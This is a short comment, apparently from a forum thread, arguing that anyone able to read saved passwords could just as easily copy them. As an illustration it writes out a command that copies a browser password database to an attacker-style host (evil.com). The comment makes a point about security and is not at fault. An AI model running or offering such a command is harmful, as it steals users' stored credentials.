You're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical k

You're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical knowledge that they either know how to do more or know how to find out how to do more. Open terminal type scp .somebrowser/password.db user@evil.com: Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password